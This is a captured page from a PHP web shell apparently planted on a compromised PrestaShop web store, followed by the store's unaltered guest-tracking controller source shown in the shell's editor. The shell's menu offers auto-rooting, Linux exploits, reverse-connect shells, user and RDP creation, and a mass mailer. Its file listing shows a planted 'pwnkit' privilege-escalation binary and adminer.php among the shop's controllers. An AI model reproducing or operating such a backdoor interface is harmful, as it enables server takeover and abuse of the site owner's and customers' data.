Linux webm004.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.102.20.4 | : 216.73.217.153
Cant Read [ /etc/named.conf ]
5.4.45
opusyn1t
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
opusyn1t /
www /
boutique /
controllers /
front /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
AddressController.php
13.17
KB
-rw----r--
AddressesController.php
3.14
KB
-rw----r--
AttachmentController.php
1.61
KB
-rw----r--
AuthController.php
27.33
KB
-rw----r--
BestSalesController.php
1.99
KB
-rw----r--
CartController.php
13.27
KB
-rw----r--
CategoryController.php
7.73
KB
-rw----r--
ChangeCurrencyController.php
1.37
KB
-rw----r--
CmsController.php
4.88
KB
-rw----r--
CompareController.php
5.24
KB
-rw----r--
ContactController.php
11.4
KB
-rw----r--
DiscountController.php
1.98
KB
-rw----r--
GetFileController.php
11.09
KB
-rw----r--
GuestTrackingController.php
8.08
KB
-rw----r--
HistoryController.php
2.24
KB
-rw----r--
IdentityController.php
5.26
KB
-rw----r--
IndexController.php
1.49
KB
-rw----r--
ManufacturerController.php
4.87
KB
-rw----r--
MyAccountController.php
1.84
KB
-rw----r--
NewProductsController.php
2.37
KB
-rw----r--
OrderConfirmationController.ph...
4.57
KB
-rw----r--
OrderController.php
13.33
KB
-rw----r--
OrderDetailController.php
8.58
KB
-rw----r--
OrderFollowController.php
4.54
KB
-rw----r--
OrderOpcController.php
30.35
KB
-rw----r--
OrderReturnController.php
2.96
KB
-rw----r--
OrderSlipController.php
1.75
KB
-rw----r--
PageNotFoundController.php
3.99
KB
-rw----r--
ParentOrderController.php
22.48
KB
-rw----r--
PasswordController.php
5.04
KB
-rw----r--
PdfInvoiceController.php
2.44
KB
-rw----r--
PdfOrderReturnController.php
1.98
KB
-rw----r--
PdfOrderSlipController.php
1.85
KB
-rw----r--
PricesDropController.php
2.01
KB
-rw----r--
ProductController.php
31.26
KB
-rw----r--
SearchController.php
5.82
KB
-rw----r--
SitemapController.php
2.76
KB
-rw----r--
StatisticsController.php
2.81
KB
-rw----r--
StoresController.php
9
KB
-rw----r--
SupplierController.php
4.6
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
autoload_classmap.php
0
B
-r--r--r--
index.php
1.24
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : GuestTrackingController.php
<?php /* * 2007-2014 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2014 PrestaShop SA * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ class GuestTrackingControllerCore extends FrontController { public $ssl = true; public $php_self = 'guest-tracking'; /** * Initialize guest tracking controller * @see FrontController::init() */ public function init() { $this->display_column_left = false; parent::init(); if ($this->context->customer->isLogged()) Tools::redirect('history.php'); } /** * Start forms process * @see FrontController::postProcess() */ public function postProcess() { if (Tools::isSubmit('submitGuestTracking') || Tools::isSubmit('submitTransformGuestToCustomer')) { // These lines are here for retrocompatibility with old theme $id_order = Tools::getValue('id_order'); $order_collection = array(); if ($id_order) { if (is_numeric($id_order)) { $order = new Order((int)$id_order); if (Validate::isLoadedObject($order)) $order_collection[] = $order; } else $order_collection = Order::getByReference($id_order); } // Get order reference, ignore package reference (after the #, on the order reference) $order_reference = current(explode('#', Tools::getValue('order_reference'))); // Ignore $result_number if (!empty($order_reference)) $order_collection = Order::getByReference($order_reference); $email = Tools::getValue('email'); if (empty($order_reference) && empty($id_order)) $this->errors[] = Tools::displayError('Please provide your order\'s reference number.'); else if (empty($email)) $this->errors[] = Tools::displayError('Please provide a valid email address.'); else if (!Validate::isEmail($email)) $this->errors[] = Tools::displayError('Please provide a valid email address.'); else if (!Customer::customerExists($email, false, false)) $this->errors[] = Tools::displayError('There is no account associated with this email address.'); else if (Customer::customerExists($email, false, true)) { $this->errors[] = Tools::displayError('Your guest account has already been transformed into a customer account.').' '. Tools::displayError('Please login to your customer account to view this order. This section is reserved for guest accounts.'); $this->context->smarty->assign('show_login_link', true); } else if (!count($order_collection)) $this->errors[] = Tools::displayError('Invalid order reference'); else if (!$order_collection->getFirst()->isAssociatedAtGuest($email)) $this->errors[] = Tools::displayError('Invalid order reference'); else { $this->assignOrderTracking($order_collection); if (Tools::isSubmit('submitTransformGuestToCustomer')) { $customer = new Customer((int)$order->id_customer); if (!Validate::isLoadedObject($customer)) $this->errors[] = Tools::displayError('Invalid customer'); else if (!Tools::getValue('password')) $this->errors[] = Tools::displayError('Invalid password.'); else if (!$customer->transformToCustomer($this->context->language->id, Tools::getValue('password'))) // @todo clarify error message $this->errors[] = Tools::displayError('An error occurred while transforming a guest into a registered customer.'); else $this->context->smarty->assign('transformSuccess', true); } } } } /** * Assign template vars related to page content * @see FrontController::initContent() */ public function initContent() { parent::initContent(); /* Handle brute force attacks */ if (count($this->errors)) sleep(1); $this->context->smarty->assign(array( 'action' => $this->context->link->getPageLink('guest-tracking.php', true), 'errors' => $this->errors, )); $this->setTemplate(_PS_THEME_DIR_.'guest-tracking.tpl'); } /** * Assign template vars related to order tracking informations */ protected function assignOrderTracking($order_collection) { $customer = new Customer((int)$order_collection->getFirst()->id_customer); $order_collection = ($order_collection->getAll()); $order_list = array(); foreach ($order_collection as $order) $order_list[] = $order; foreach ($order_list as &$order) { $order->id_order_state = (int)$order->getCurrentState(); $order->invoice = (OrderState::invoiceAvailable((int)$order->id_order_state) && $order->invoice_number); $order->order_history = $order->getHistory((int)$this->context->language->id, false, true); $order->carrier = new Carrier((int)$order->id_carrier, (int)$order->id_lang); $order->address_invoice = new Address((int)$order->id_address_invoice); $order->address_delivery = new Address((int)$order->id_address_delivery); $order->inv_adr_fields = AddressFormat::getOrderedAddressFields($order->address_invoice->id_country); $order->dlv_adr_fields = AddressFormat::getOrderedAddressFields($order->address_delivery->id_country); $order->invoiceAddressFormatedValues = AddressFormat::getFormattedAddressFieldsValues($order->address_invoice, $order->inv_adr_fields); $order->deliveryAddressFormatedValues = AddressFormat::getFormattedAddressFieldsValues($order->address_delivery, $order->dlv_adr_fields); $order->currency = new Currency($order->id_currency); $order->discounts = $order->getCartRules(); $order->invoiceState = (Validate::isLoadedObject($order->address_invoice) && $order->address_invoice->id_state) ? new State((int)$order->address_invoice->id_state) : false; $order->deliveryState = (Validate::isLoadedObject($order->address_delivery) && $order->address_delivery->id_state) ? new State((int)$order->address_delivery->id_state) : false; $order->products = $order->getProducts(); $order->customizedDatas = Product::getAllCustomizedDatas((int)$order->id_cart); Product::addCustomizationPrice($order->products, $order->customizedDatas); $order->total_old = ($order->total_discounts > 0) ? (float)($order->total_paid - $order->total_discounts) : false; if ($order->carrier->url && $order->shipping_number) $order->followup = str_replace('@', $order->shipping_number, $order->carrier->url); $order->hook_orderdetaildisplayed = Hook::exec('displayOrderDetail', array('order' => $order)); Hook::exec('actionOrderDetail', array('carrier' => $order->carrier, 'order' => $order)); } $this->context->smarty->assign(array( 'shop_name' => Configuration::get('PS_SHOP_NAME'), 'order_collection' => $order_list, 'return_allowed' => false, 'invoiceAllowed' => (int)Configuration::get('PS_INVOICE'), 'is_guest' => true, 'group_use_tax' => (Group::getPriceDisplayMethod($customer->id_default_group) == PS_TAX_INC), 'CUSTOMIZE_FILE' => _CUSTOMIZE_FILE_, 'CUSTOMIZE_TEXTFIELD' => _CUSTOMIZE_TEXTFIELD_, 'use_tax' => Configuration::get('PS_TAX'), )); } public function setMedia() { parent::setMedia(); $this->addCSS(_THEME_CSS_DIR_.'history.css'); $this->addCSS(_THEME_CSS_DIR_.'addresses.css'); } protected function processAddressFormat(Address $delivery, Address $invoice) { $inv_adr_fields = AddressFormat::getOrderedAddressFields($invoice->id_country, false, true); $dlv_adr_fields = AddressFormat::getOrderedAddressFields($delivery->id_country, false, true); $this->context->smarty->assign('inv_adr_fields', $inv_adr_fields); $this->context->smarty->assign('dlv_adr_fields', $dlv_adr_fields); } }
Close